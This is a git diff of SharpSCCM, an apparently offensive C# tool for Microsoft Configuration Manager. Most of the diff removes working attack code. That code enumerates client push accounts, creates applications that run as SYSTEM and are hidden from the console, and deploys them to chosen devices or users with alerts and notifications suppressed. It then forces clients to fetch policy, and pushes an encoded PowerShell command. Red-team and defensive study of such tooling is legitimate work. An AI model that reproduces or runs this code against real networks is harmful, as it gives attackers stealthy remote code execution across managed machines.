- foreach (string value in (string[])result["Values"])
- {
- Console.WriteLine($"[+] Discovered client push installation account: {value}");
-
- }
- }
- else
- {
- Console.WriteLine("[+] No client push installation accounts were configured, but the server may still use its machine account");
- }
- }
- searcher = new ManagementObjectSearcher(wmiConnection, new ObjectQuery("SELECT * FROM SMS_SCI_SQLTask WHERE ItemName='Clear Undiscovered Clients'"));
- results = searcher.Get();
- foreach (ManagementObject result in results)
- {
- if (result["Enabled"].ToString() == "True")
- {
- Console.WriteLine($"[+] The client installed flag is automatically cleared on inactive clients after {result["DeleteOlderThan"]} days, resulting in reinstallation if automatic site-wide client push installation is enabled");
- }
- else
- {
- Console.WriteLine("[+] The client installed flag is not automatically cleared on inactive clients, preventing automatic reinstallation");
- }
- }
- }
- }
- catch (UnauthorizedAccessException ex)
- {
- Console.WriteLine($"[!] You do not have the necessary permissions to query the WMI provider: {ex.Message}");
- }
- catch (ManagementException ex)
- {
- Console.WriteLine($"[!] An exception occurred while querying for WMI data: {ex.Message}");
- }
- }
-
- public static void UpdateMachinePolicy(ManagementScope wmiConnection, string collectionId = null, string collectionName = null, string deviceName = null, string resourceId = null, string userName = null)
- {
- string collectionType = null;
- ManagementObject collection = null;
- if (!string.IsNullOrEmpty(collectionId) || !string.IsNullOrEmpty(collectionName))
- {
- collection = GetCollection(wmiConnection, collectionName, collectionId);
- }
- // Create a collection is one is not specified
- if (collection == null)
- {
- if (!string.IsNullOrEmpty(resourceId))
- {
- ManagementObject resource = GetDeviceOrUser(wmiConnection, resourceId: resourceId);
- collectionType = resource.ClassPath.ClassName == "SMS_R_System" ? "device" : resource.ClassPath.ClassName == "SMS_R_User" ? "user" : null;
- }
- collectionType = !string.IsNullOrEmpty(collectionType) ? collectionType : !string.IsNullOrEmpty(deviceName) ? "device" : !string.IsNullOrEmpty(userName) ? "user" : null;
- string newCollectionName = $"{char.ToUpper(collectionType[0]) + collectionType.Substring(1)}s_{Guid.NewGuid()}";
- collection = NewCollection(wmiConnection, collectionType, newCollectionName);
- NewCollectionMember(wmiConnection, newCollectionName, collectionType, (string)collection["CollectionID"], deviceName, userName, resourceId);
- }
- else
- {
- collectionType = (uint)collection["CollectionType"] == 2 ? "device" : (uint)collection["CollectionType"] == 1 ? "user" : null;
- }
- ManagementClass clientOperation = new ManagementClass(wmiConnection, new ManagementPath("SMS_ClientOperation"), null);
- ManagementBaseObject initiateClientOpParams = clientOperation.GetMethodParameters("InitiateClientOperation");
- initiateClientOpParams.SetPropertyValue("Type", 8); // RequestPolicyNow
-
- Console.WriteLine($"[+] Forcing all members of {collection["Name"]} ({collection["CollectionID"]}) to retrieve machine policy and execute any new applications available");
- try
- {
- initiateClientOpParams[propertyName: "TargetCollectionID"] = collection["CollectionID"];
- clientOperation.InvokeMethod("InitiateClientOperation", initiateClientOpParams, null);
- }
- catch (ManagementException ex)
- {
- Console.WriteLine($"[!] An exception occurred while attempting to commit the changes: {ex.Message}");
- Console.WriteLine("[!] Is your account assigned the correct security role?");
- }
- }
-
- public static void UpdateUserPolicy(ManagementScope wmiConnection, string collectionId = null, string collectionName = null, string deviceName = null, string resourceId = null, string userName = null)
- {
- if (!string.IsNullOrEmpty(collectionId) || !string.IsNullOrEmpty(collectionName))
- {
- ManagementObject collection = GetCollection(wmiConnection, collectionName, collectionId);
- if (collection != null)
- {
- ManagementObjectCollection collectionMembers = GetCollectionMembers(wmiConnection, collectionName, collectionId);
- if (collectionMembers.Count > 0)
- {
- // Run policy retrieval and evaluation cycle on device collections
- if ((uint)collection["CollectionType"] == 2)
- {
- Console.WriteLine($"[+] Forcing all members of {collection["Name"]} ({collection["CollectionID"]}) to retrieve user policy and execute any new applications available");
- // $CurrentUser = Get-WmiObject -Query "SELECT UserSID, LogoffTime FROM CCM_UserLogonEvents WHERE LogoffTime=NULL" -Namespace "root\ccm"; $UserID=$CurrentUser.UserSID; $UserID=$UserID.replace("-", "_"); $MessageIDs = "{00000000-0000-0000-0000-000000000026}","{00000000-0000-0000-0000-000000000027}"; ForEach ($MessageID in $MessageIDs) { $ScheduledMessage = ([wmi]"root\ccm\Policy\$UserID\ActualConfig:CCM_Scheduler_ScheduledMessage.ScheduledMessageID=$MessageID"); $ScheduledMessage.Triggers = @("SimpleInterval;Minutes=1;MaxRandomDelayMinutes=0"); $ScheduledMessage.TargetEndpoint = "direct:PolicyAgent_RequestAssignments"; $ScheduledMessage.Put(); $ScheduledMessage.Triggers = @("SimpleInterval;Minutes=15;MaxRandomDelayMinutes=0"); sleep 30; $ScheduledMessage.Put()}
- string commandToExecute = "powershell -EncodedCommand JABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIAA9ACAARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAC0AUQB1AGUAcgB5ACAAIgBTAEUATABFAEMAVAAgAFUAcwBlAHIAUwBJAEQALAAgAEwAbwBnAG8AZgBmAFQAaQBtAGUAIABGAFIATwBNACAAQwBDAE0AXwBVAHMAZQByAEwAbwBnAG8AbgBFAHYAZQBuAHQAcwAgAFcASABFAFIARQAgAEwAbwBnAG8AZgBmAFQAaQBtAGUAPQBOAFUATABMACIAIAAtAE4AYQBtAGUAcwBwAGEAYwBlACAAIgByAG8AbwB0AFwAYwBjAG0AIgA7ACAAJABVAHMAZQByAEkARAA9ACQAQwB1AHIAcgBlAG4AdABVAHMAZQByAC4AVQBzAGUAcgBTAEkARAA7ACAAJABVAHMAZQByAEkARAA9ACQAVQBzAGUAcgBJAEQALgByAGUAcABsAGEAYwBlACgAIgAtACIALAAgACIAXwAiACkAOwAgACQATQBlAHMAcwBhAGcAZQBJAEQAcwAgAD0AIAAiAHsAMAAwADAAMAAwADAAMAAwAC0AMAAwADAAMAAtADAAMAAwADAALQAwADAAMAAwAC0AMAAwADAAMAAwADAAMAAwADAAMAAyADYAfQAiACwAIgB7ADAAMAAwADAAMAAwADAAMAAtADAAMAAwADAALQAwADAAMAAwAC0AMAAwADAAMAAtADAAMAAwADAAMAAwADAAMAAwADAAMgA3AH0AIgA7ACAARgBvAHIARQBhAGMAaAAgACgAJABNAGUAcwBzAGEAZwBlAEkARAAgAGkAbgAgACQATQBlAHMAcwBhAGcAZQBJAEQAcwApACAAewAgACQAUwBjAGgAZQBkAHUAbABlAGQATQBlAHMAcwBhAGcAZQAgAD0AIAAoAFsAdwBtAGkAXQAiAHIAbwBvAHQAXABjAGMAbQBcAFAAbwBsAGkAYwB5AFwAJABVAHMAZQByAEkARABcAEEAYwB0AHUAYQBsAEMAbwBuAGYAaQBnADoAQwBDAE0AXwBTAGMAaABlAGQAdQBsAGUAcgBfAFMAYwBoAGUAZAB1AGwAZQBkAE0AZQBzAHMAYQBnAGUALgBTAGMAaABlAGQAdQBsAGUAZABNAGUAcwBzAGEAZwBlAEkARAA9ACQATQBlAHMAcwBhAGcAZQBJAEQAIgApADsAIAAkAFMAYwBoAGUAZAB1AGwAZQBkAE0AZQBzAHMAYQBnAGUALgBUAHIAaQBnAGcAZQByAHMAIAA9ACAAQAAoACIAUwBpAG0AcABsAGUASQBuAHQAZQByAHYAYQBsADsATQBpAG4AdQB0AGUAcwA9ADEAOwBNAGEAeABSAGEAbgBkAG8AbQBEAGUAbABhAHkATQBpAG4AdQB0AGUAcwA9ADAAIgApADsAIAAkAFMAYwBoAGUAZAB1AGwAZQBkAE0AZQBzAHMAYQBnAGUALgBUAGEAcgBnAGUAdABFAG4AZABwAG8AaQBuAHQAIAA9ACAAIgBkAGkAcgBlAGMAdAA6AFAAbwBsAGkAYwB5AEEAZwBlAG4AdABfAFIAZQBxAHUAZQBzAHQAQQBzAHMAaQBnAG4AbQBlAG4AdABzACIAOwAgACQAUwBjAGgAZQBkAHUAbABlAGQATQBlAHMAcwBhAGcAZQAuAFAAdQB0ACgAKQA7ACAAJABTAGMAaABlAGQAdQBsAGUAZABNAGUAcwBzAGEAZwBlAC4AVAByAGkAZwBnAGUAcgBzACAAPQAgAEAAKAAiAFMAaQBtAHAAbABlAEkAbgB0AGUAcgB2AGEAbAA7AE0AaQBuAHUAdABlAHMAPQAxADUAOwBNAGEAeABSAGEAbgBkAG8AbQBEAGUAbABhAHkATQBpAG4AdQB0AGUAcwA9ADAAIgApADsAIABzAGwAZQBlAHAAIAAzADAAOwAgACQAUwBjAGgAZQBkAHUAbABlAGQATQBlAHMAcwBhAGcAZQAuAFAAdQB0ACgAKQB9AA==";
- Exec(wmiConnection, collectionId, collectionName, applicationPath: commandToExecute, runAsUser: false);
- }
- // Run policy retrieval and evaluation cycle on the primary device for each user in user collections
- else if ((uint)collection["CollectionType"] == 1)
- {
- foreach (ManagementObject collectionMember in collectionMembers)
- {
- UpdateUserPolicyForDevice(wmiConnection, resourceId: collectionMember["ResourceID"].ToString());
- }
- }
- }
- }
- }
- else if (!string.IsNullOrEmpty(deviceName) || !string.IsNullOrEmpty(resourceId) || !string.IsNullOrEmpty(userName))
- {
- UpdateUserPolicyForDevice(wmiConnection, deviceName, resourceId, userName);
- }
- }
-
- public static void UpdateUserPolicyForDevice(ManagementScope wmiConnection, string deviceName = null, string resourceId = null, string userName = null)
- {
- if (!string.IsNullOrEmpty(resourceId) || !string.IsNullOrEmpty(userName))
- {
- ManagementObject userDevice = GetPrimaryDeviceForUser(wmiConnection, resourceId, userName).OfType().First();
- Console.WriteLine($"[+] Forcing {userDevice["ResourceName"]} ({userDevice["ResourceID"]}) to retrieve user policy and execute any new applications available for {userDevice["UniqueUserName"]}");
- deviceName = userDevice["ResourceName"].ToString();
- }
- // $CurrentUser = Get-WmiObject -Query "SELECT UserSID, LogoffTime FROM CCM_UserLogonEvents WHERE LogoffTime=NULL" -Namespace "root\ccm"; $UserID=$CurrentUser.UserSID; $UserID=$UserID.replace("-", "_"); $MessageIDs = "{00000000-0000-0000-0000-000000000026}","{00000000-0000-0000-0000-000000000027}"; ForEach ($MessageID in $MessageIDs) { $ScheduledMessage = ([wmi]"root\ccm\Policy\$UserID\ActualConfig:CCM_Scheduler_ScheduledMessage.ScheduledMessageID=$MessageID"); $ScheduledMessage.Triggers = @("SimpleInterval;Minutes=1;MaxRandomDelayMinutes=0"); $ScheduledMessage.TargetEndpoint = "direct:PolicyAgent_RequestAssignments"; $ScheduledMessage.Put(); $ScheduledMessage.Triggers = @("SimpleInterval;Minutes=15;MaxRandomDelayMinutes=0"); sleep 30; $ScheduledMessage.Put()}
- string commandToExecute = "powershell -EncodedCommand JABDAHUAcgByAGUAbgB0AFUAcwBlAHIAIAA9ACAARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAC0AUQB1AGUAcgB5ACAAIgBTAEUATABFAEMAVAAgAFUAcwBlAHIAUwBJAEQALAAgAEwAbwBnAG8AZgBmAFQAaQBtAGUAIABGAFIATwBNACAAQwBDAE0AXwBVAHMAZQByAEwAbwBnAG8AbgBFAHYAZQBuAHQAcwAgAFcASABFAFIARQAgAEwAbwBnAG8AZgBmAFQAaQBtAGUAPQBOAFUATABMACIAIAAtAE4AYQBtAGUAcwBwAGEAYwBlACAAIgByAG8AbwB0AFwAYwBjAG0AIgA7ACAAJABVAHMAZQByAEkARAA9ACQAQwB1AHIAcgBlAG4AdABVAHMAZQByAC4AVQBzAGUAcgBTAEkARAA7ACAAJABVAHMAZQByAEkARAA9ACQAVQBzAGUAcgBJAEQALgByAGUAcABsAGEAYwBlACgAIgAtACIALAAgACIAXwAiACkAOwAgACQATQBlAHMAcwBhAGcAZQBJAEQAcwAgAD0AIAAiAHsAMAAwADAAMAAwADAAMAAwAC0AMAAwADAAMAAtADAAMAAwADAALQAwADAAMAAwAC0AMAAwADAAMAAwADAAMAAwADAAMAAyADYAfQAiACwAIgB7ADAAMAAwADAAMAAwADAAMAAtADAAMAAwADAALQAwADAAMAAwAC0AMAAwADAAMAAtADAAMAAwADAAMAAwADAAMAAwADAAMgA3AH0AIgA7ACAARgBvAHIARQBhAGMAaAAgACgAJABNAGUAcwBzAGEAZwBlAEkARAAgAGkAbgAgACQATQBlAHMAcwBhAGcAZQBJAEQAcwApACAAewAgACQAUwBjAGgAZQBkAHUAbABlAGQATQBlAHMAcwBhAGcAZQAgAD0AIAAoAFsAdwBtAGkAXQAiAHIAbwBvAHQAXABjAGMAbQBcAFAAbwBsAGkAYwB5AFwAJABVAHMAZQByAEkARABcAEEAYwB0AHUAYQBsAEMAbwBuAGYAaQBnADoAQwBDAE0AXwBTAGMAaABlAGQAdQBsAGUAcgBfAFMAYwBoAGUAZAB1AGwAZQBkAE0AZQBzAHMAYQBnAGUALgBTAGMAaABlAGQAdQBsAGUAZABNAGUAcwBzAGEAZwBlAEkARAA9ACQATQBlAHMAcwBhAGcAZQBJAEQAIgApADsAIAAkAFMAYwBoAGUAZAB1AGwAZQBkAE0AZQBzAHMAYQBnAGUALgBUAHIAaQBnAGcAZQByAHMAIAA9ACAAQAAoACIAUwBpAG0AcABsAGUASQBuAHQAZQByAHYAYQBsADsATQBpAG4AdQB0AGUAcwA9ADEAOwBNAGEAeABSAGEAbgBkAG8AbQBEAGUAbABhAHkATQBpAG4AdQB0AGUAcwA9ADAAIgApADsAIAAkAFMAYwBoAGUAZAB1AGwAZQBkAE0AZQBzAHMAYQBnAGUALgBUAGEAcgBnAGUAdABFAG4AZABwAG8AaQBuAHQAIAA9ACAAIgBkAGkAcgBlAGMAdAA6AFAAbwBsAGkAYwB5AEEAZwBlAG4AdABfAFIAZQBxAHUAZQBzAHQAQQBzAHMAaQBnAG4AbQBlAG4AdABzACIAOwAgACQAUwBjAGgAZQBkAHUAbABlAGQATQBlAHMAcwBhAGcAZQAuAFAAdQB0ACgAKQA7ACAAJABTAGMAaABlAGQAdQBsAGUAZABNAGUAcwBzAGEAZwBlAC4AVAByAGkAZwBnAGUAcgBzACAAPQAgAEAAKAAiAFMAaQBtAHAAbABlAEkAbgB0AGUAcgB2AGEAbAA7AE0AaQBuAHUAdABlAHMAPQAxADUAOwBNAGEAeABSAGEAbgBkAG8AbQBEAGUAbABhAHkATQBpAG4AdQB0AGUAcwA9ADAAIgApADsAIABzAGwAZQBlAHAAIAAzADAAOwAgACQAUwBjAGgAZQBkAHUAbABlAGQATQBlAHMAcwBhAGcAZQAuAFAAdQB0ACgAKQB9AA==";
- Exec(wmiConnection, deviceName: deviceName, applicationPath: commandToExecute, runAsUser: false, collectionType: "device");
- }
-
- public static ManagementObject NewApplication(ManagementScope wmiConnection, string name, string path, bool runAsUser = false, bool show = false)
- {
- ManagementObject application = null;
-
- // Check for existing application before creating a new one
- ManagementObjectCollection applications = MgmtUtil.GetClassInstances(wmiConnection, "SMS_Application", whereCondition: $"LocalizedDisplayName='{name}'");
- if (applications.Count > 0)
- {
- Console.WriteLine($"[+] There is already an application with the name {name}");
- }
- else
- {
- Console.WriteLine($"[+] Creating new application: {name}");
- Console.WriteLine($"[+] Application path: {path}");
- ManagementClass idInstance = new ManagementClass(wmiConnection, new ManagementPath("SMS_Identification"), null);
- ManagementBaseObject outParams = idInstance.InvokeMethod("GetSiteID", null, null);
- string siteId = outParams["SiteID"].ToString().Replace("{", "").Replace("}", "");
- string scopeId = $"ScopeId_{siteId}";
- string appId = $"Application_{Guid.NewGuid()}";
- string deploymentId = $"DeploymentType_{Guid.NewGuid()}";
- string fileId = $"File_{Guid.NewGuid()}";
- string xml = $@"
-
-
-
-
- {name}
-
-
-
-
-
-
-
- {name}
-
-
-
-
-
-
- {name}
-
- GLOBAL/ScriptDeploymentTechnology
- Script
- Native
-
- {(runAsUser ? "User" : "System")}
-
- Local
-
- {(runAsUser ? "User" : "System")}
-
- <?xml version=""1.0"" encoding=""utf-16""?>
- <EnhancedDetectionMethod xmlns=""http://schemas.microsoft.com/SystemCenterConfigurationManager/2009/AppMgmtDigest"">
- <Settings xmlns=""http://schemas.microsoft.com/SystemCenterConfigurationManager/2009/AppMgmtDigest"">
- <File Is64Bit=""true"" LogicalName=""{fileId}"" xmlns=""http://schemas.microsoft.com/SystemsCenterConfigurationManager/2009/07/10/DesiredConfiguration"">
- <Annotation xmlns=""http://schemas.microsoft.com/SystemsCenterConfigurationManager/2009/06/14/Rules"">
- <DisplayName Text="""" />
- <Description Text="""" />
- </Annotation>
- <Path>C:\</Path>
- <Filter>asdf</Filter>
- </File>
- </Settings>
- <Rule id=""{scopeId}/{deploymentId}"" Severity=""Informational"" NonCompliantWhenSettingIsNotFound=""false"" xmlns=""http://schemas.microsoft.com/SystemsCenterConfigurationManager/2009/06/14/Rules"">
- <Annotation>
- <DisplayName Text="""" />
- <Description Text="""" />
- </Annotation>
- <Expression>
- <Operator>NotEquals</Operator>
- <Operands>
- <SettingReference AuthoringScopeId=""{scopeId}"" LogicalName=""{appId}"" Version=""1"" DataType=""Int64"" SettingLogicalName=""{fileId}"" SettingSourceType=""File"" Method=""Count"" Changeable=""false"" />
- <ConstantValue Value=""0"" DataType=""Int64"" />
- </Operands>
- </Expression>
- </Rule>
- </EnhancedDetectionMethod>
-
-
-
-
- Script
-
- {path}
-
- {(runAsUser ? "User" : "System")}
-
- false
- false
- false
- Hidden
- BasedOnExitCode
- 015
- false
-
- - 0
- - 1707
-
-
- - 3010
-
-
- - 1641
-
-
- - 1618
-
-
-
-
- Enhanced
-
-
-
-
-
-
-
- C:\
- asdf
-
-
-
-
-
-
-
- NotEquals
-
-
-
-
-
-
-
- {path}
- SameAsInstall
-
-
-
- 15
-
-
-
-
-
-
-
- Hidden
- true
-
-
-
-
- ";
-
- //
- // XML with assistance from Config Manager SDK
- //Application appInstance = SccmSerializer.DeserializeFromString(xml, true);
- //string xmla = SccmSerializer.SerializeToString(appInstance, true);
-
- application = new ManagementClass(wmiConnection, new ManagementPath("SMS_Application"), null).CreateInstance();
- //application["SDMPackageXML"] = xmla;
- application["SDMPackageXML"] = xml;
- if (!show)
- {
- application["IsHidden"] = true;
- Console.WriteLine("[+] Updated application to hide it from the Configuration Manager console");
- }
- if (runAsUser)
- {
- Console.WriteLine("[+] Updated application to run in the context of the logged on user");
- }
- else
- {
- Console.WriteLine("[+] Updated application to run as SYSTEM");
- }
- try
- {
- application.Put();
- ManagementObjectCollection createdApplications = MgmtUtil.GetClassInstances(wmiConnection, "SMS_Application", null, false, null, $"LocalizedDisplayName='{name}'");
- if (createdApplications.Count > 0)
- {
- Console.WriteLine("[+] Successfully created application");
- }
- else
- {
- Console.WriteLine("[!] The application was not found after creation");
- }
- }
- catch (ManagementException ex)
- {
- Console.WriteLine($"[!] An exception occurred while attempting to commit the changes: {ex.Message}");
- Console.WriteLine("[!] Is your account assigned the correct security role?");
- }
- }
- return application;
- }
-
- public static ManagementObject NewCollection(ManagementScope wmiConnection, string collectionType, string collectionName)
- {
- ManagementObject returnedCollection = null;
- Console.WriteLine($"[+] Creating new {collectionType} collection: {collectionName}");
- ManagementObject collection = new ManagementClass(wmiConnection, new ManagementPath("SMS_Collection"), null).CreateInstance();
- collection["Name"] = collectionName;
- collection["OwnedByThisSite"] = true;
- if (collectionType == "device")
- {
- collection["CollectionType"] = "2";
- collection["LimitToCollectionId"] = "SMS00001";
- }
- else if (collectionType == "user")
- {
- collection["CollectionType"] = "1";
- collection["LimitToCollectionId"] = "SMS00002";
- }
- try
- {
- collection.Put();
- ManagementObjectCollection createdCollections = MgmtUtil.GetClassInstances(wmiConnection, "SMS_Collection", null, false, null, $"Name='{collectionName}'");
- if (createdCollections.Count == 1)
- {
- Console.WriteLine("[+] Successfully created collection");
- foreach (ManagementObject createdCollection in createdCollections)
- {
- return createdCollection;
- }
- }
- else if (createdCollections.Count > 1)
- {
- Console.WriteLine($"[!] Found {createdCollections.Count} collections named {collectionName}");
- }
- else
- {
- Console.WriteLine("[!] The collection was not found after creation");
- }
- }
- catch (ManagementException ex)
- {
- Console.WriteLine($"[!] An exception occurred while attempting to commit the changes: {ex.Message}");
- Console.WriteLine("[!] Is your account assigned the correct security role?");
- }
- return returnedCollection;
- }
-
- public static ManagementObject NewCollectionMember(ManagementScope wmiConnection, string collectionName = null, string collectionType = null, string collectionId = null, string deviceName = null, string userName = null, string resourceId = null, int waitTime = 15)
- {
- ManagementObject collectionMember = null;
-
- // Use the provided collection type or set to device/user depending on which was provided
- collectionType = !string.IsNullOrEmpty(deviceName) ? "device" : !string.IsNullOrEmpty(userName) ? "user" : collectionType;
-
- // Check whether the specified collection exists
- ManagementObject collection = GetCollection(wmiConnection, collectionName, collectionId);
- if (collection != null)
- {
- // Check if the resource is already a member of the collection
- ManagementObjectCollection existingMembers = GetCollectionMembers(wmiConnection, collectionName, collectionId, printOutput: false);
- if (existingMembers.Count > 0)
- {
- foreach (ManagementObject existingMember in existingMembers)
- {
- if (!string.IsNullOrEmpty(deviceName) && (string)existingMember.GetPropertyValue("Name") == deviceName)
- {
- Console.WriteLine($"[!] A device named {deviceName} is already a member of the collection");
- return null;
- }
- else if (!string.IsNullOrEmpty(userName) && existingMember.GetPropertyValue("Name").ToString().Contains(userName))
- {
- Console.WriteLine($"[!] A user named {existingMember.GetPropertyValue("Name")} is already a member of the collection");
- return null;
- }
- else if (!string.IsNullOrEmpty(resourceId) && (uint)existingMember.GetPropertyValue("ResourceID") == Convert.ToUInt32(resourceId))
- {
- Console.WriteLine($"[!] A resource with ID {resourceId} is already a member of the collection");
- return null;
- }
- }
- }
- // Check whether the specified resource exists
- ManagementObject matchingResource = GetDeviceOrUser(wmiConnection, deviceName, resourceId, userName, true);
- if (matchingResource != null)
- {
- if ((uint)collection.Properties[propertyName: "CollectionType"].Value == 1 && collectionType == "device")
- {
- Console.WriteLine("[!] Can't add a device to a user collection");
- }
- else if ((uint)collection.Properties["CollectionType"].Value == 2 && collectionType == "user")
- {
- Console.WriteLine("[!] Can't add a user to a device collection");
- }
- else
- {
- ManagementObject newCollectionRule = new ManagementClass(wmiConnection, new ManagementPath("SMS_CollectionRuleQuery"), null).CreateInstance();
- string membershipQuery = $"SELECT * FROM {(collectionType == "device" ? "SMS_R_System" : collectionType == "user" ? "SMS_R_User" : null)} WHERE ResourceID='{matchingResource["ResourceID"]}'";
- newCollectionRule["QueryExpression"] = membershipQuery;
- newCollectionRule["RuleName"] = $"{collectionType}_{Guid.NewGuid()}";
- ManagementBaseObject addMembershipRuleParams = collection.GetMethodParameters("AddMembershipRule");
- addMembershipRuleParams.SetPropertyValue("collectionRule", newCollectionRule);
- try
- {
- collection.InvokeMethod("AddMembershipRule", addMembershipRuleParams, null);
- Console.WriteLine($"[+] Added {matchingResource["Name"]} {matchingResource["ResourceID"]} to {(!string.IsNullOrEmpty(collectionName) ? collectionName : collectionId)}");
- Console.WriteLine($"[+] Waiting for new collection member to become available...");
- bool memberAvailable = false;
- while (!memberAvailable)
- {
- Thread.Sleep(millisecondsTimeout: 5000);
- ManagementObjectCollection collectionMembers = GetCollectionMembers(wmiConnection, collectionName, collectionId);
- if (collectionMembers.Count == 1)
- {
- Console.WriteLine($"[+] Successfully added {matchingResource["Name"]} {matchingResource["ResourceID"]} to {(!string.IsNullOrEmpty(collectionName) ? collectionName : collectionId)}");
- memberAvailable = true;
- collectionMember = collectionMembers.Cast().First();
- }
- else
- {
- Console.WriteLine("[+] New collection member is not available yet... trying again in 5 seconds");
- }
- }
- }
- catch (ManagementException ex)
- {
- Console.WriteLine($"[!] An exception occurred while attempting to commit the changes: {ex.Message}");
- Console.WriteLine("[!] Is your account assigned the correct security role?");
- }
- }
- }
- else
- {
- Console.WriteLine($"[!] Found 0 instances of the specified device or user with ResourceID {resourceId}");
- }
- }
- return collectionMember;
- }
-
- public static ManagementObject NewDeployment(ManagementScope wmiConnection, string applicationName, string collectionName, string collectionId)
- {
- ManagementObject deployment = null;
-
- // Check if the collection is unique
- ManagementObject collection = GetCollection(wmiConnection, collectionName, collectionId);
- if (collection != null)
- {
- // Check for existing deployment before creating a new one
- ManagementObjectCollection deployments = MgmtUtil.GetClassInstances(wmiConnection, "SMS_ApplicationAssignment", $"SELECT * FROM SMS_ApplicationAssignment WHERE ApplicationName='{applicationName}' AND TargetCollectionID='{collection["CollectionID"]}'");
- if (deployments.Count > 0)
- {
- foreach (ManagementObject existingDeployment in deployments)
- {
- Console.WriteLine($"[!] Application {applicationName} is already assigned to collection {collection["Name"]} ({collection["CollectionID"]}) in deployment {existingDeployment["AssignmentName"]}");
- }
- }
- else
- {
- Console.WriteLine($"[+] Creating new deployment of {applicationName} to {collection["Name"]} ({collection["CollectionID"]})");
- string siteCode = wmiConnection.Path.ToString().Split('_').Last();
- string now = DateTime.Now.ToString("yyyyMMddHHmmss" + ".000000+***");
- deployment = new ManagementClass(wmiConnection, new ManagementPath("SMS_ApplicationAssignment"), null).CreateInstance();
- deployment["ApplicationName"] = applicationName;
- deployment["AssignmentName"] = $"{applicationName}_{collection["CollectionID"]}_Install";
- deployment["AssignmentAction"] = 2; // APPLY
- deployment["AssignmentType"] = 2; // Application
- deployment["CollectionName"] = collection["Name"];
- deployment["DesiredConfigType"] = 1; // REQUIRED
- deployment["DisableMOMAlerts"] = true;
- deployment["EnforcementDeadline"] = now;
- deployment["LogComplianceToWinEvent"] = false;
- deployment["NotifyUser"] = false;
- deployment["OfferFlags"] = 1; // PREDEPLOY
- deployment["OfferTypeID"] = 0; // REQUIRED
- deployment["OverrideServiceWindows"] = true;
- deployment["Priority"] = 2; // HIGH
- deployment["RebootOutsideOfServiceWindows"] = false;
- deployment["SoftDeadlineEnabled"] = true;
- deployment["SourceSite"] = siteCode;
- deployment["StartTime"] = now;
- deployment["SuppressReboot"] = 0;
- deployment["TargetCollectionID"] = collection["CollectionID"];
- deployment["UseGMTTimes"] = true;
- // Do not display user notifications
- deployment["UserUIExperience"] = false;
- // Not including this property results in errors displayed in the console
- deployment["WoLEnabled"] = false;
-
- ManagementObjectCollection applications = MgmtUtil.GetClassInstances(wmiConnection, "SMS_Application", $"SELECT * FROM SMS_Application WHERE LocalizedDisplayName='{applicationName}'");
- if (applications.Count == 1)
- {
- Console.WriteLine($"[+] Found the {applicationName} application");
- ManagementObject application = applications.OfType().First();
- deployment["AssignedCIs"] = new Int32[] { Convert.ToInt32(application.Properties["CI_ID"].Value) };
- try
- {
- deployment.Put();
- ManagementObjectCollection createdDeployments = MgmtUtil.GetClassInstances(wmiConnection, "SMS_ApplicationAssignment", null, false, null, $"ApplicationName='{applicationName}' AND TargetCollectionID='{collection["CollectionID"]}'");
- if (createdDeployments.Count == 1)
- {
- Console.WriteLine($"[+] Successfully created deployment of {applicationName} to {collection["Name"]} ({collection["CollectionID"]})");
- Console.WriteLine($"[+] New deployment name: {createdDeployments.OfType().First()["AssignmentName"]}");
- }
- else if (createdDeployments.Count == 0)
- {
- Console.WriteLine("[!] The deployment was not found after creation");
- }
- else
- {
- Console.WriteLine($"[!] Found {createdDeployments.Count} deployments of {applicationName} to {collection["Name"]} ({collection["CollectionID"]})");
- }
- }
- catch (ManagementException ex)
- {
- Console.WriteLine($"[!] An exception occurred while attempting to commit the changes: {ex.Message}");
- Console.WriteLine("[!] Is your account assigned the correct security role?");
- }
- }
- else
- {
- Console.WriteLine($"[!] Found {applications.Count} applications named {applicationName}");
- }
- }
- }
- return deployment;
- }
- }
-}
diff --git a/lib/MgmtUtil.cs b/lib/MgmtUtil.cs
index b20dca2..7ceb2e3 100644
--- a/lib/MgmtUtil.cs
+++ b/lib/MgmtUtil.cs
@@ -2,7 +2,6 @@
using System.Collections.Generic;
using System.Linq;
using System.Management;
-//using System.Text.Json;
namespace SharpSCCM
{
diff --git a/lib/SmsProviderWmi.cs b/lib/SmsProviderWmi.cs
index adeacaf..56a7a2f 100644
--- a/lib/SmsProviderWmi.cs
+++ b/lib/SmsProviderWmi.cs
@@ -72,10 +72,6 @@ public static void Exec(ManagementScope wmiConnection, string collectionId = nul
}
}
- public static void InvokeLastLogonUpdate(ManagementScope wmiConnection, string collectionName)
- {
- // TODO
- }
public static void GenerateCCR(string target, string server = null, string siteCode = null)
{
ManagementScope wmiConnection = MgmtUtil.NewWmiConnection(server, null, siteCode);
diff --git a/packages.config b/packages.config
index 2919ffa..0ae2641 100644
--- a/packages.config
+++ b/packages.config
@@ -1,5 +1,6 @@
+